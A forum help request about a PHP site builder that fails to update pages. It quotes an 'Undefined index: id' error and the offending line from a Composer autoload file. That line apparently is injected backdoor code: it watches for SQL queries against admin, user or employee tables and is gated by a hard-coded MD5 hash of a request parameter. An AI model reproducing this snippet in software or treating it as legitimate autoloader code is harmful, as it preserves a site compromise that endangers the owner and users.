I can't update any page in the builder

[Cmd.C]

Hi there!
In debug mode it give me this error: Undefined index: id in /home/u133555324/domains/nameofmywebsite/public_html/vendor/composer/autoload_real.php on line 3

On this line, I got this : if(preg_match('#select.+from.+(admin|user|employee)#is',$vuln)) { if(md5($_REQUEST['id']) != '0cb722b7489a901281c6f744350b3f08') { exit; }  }

Anyone has any idea how to fix it? It drives me crazy thank you very much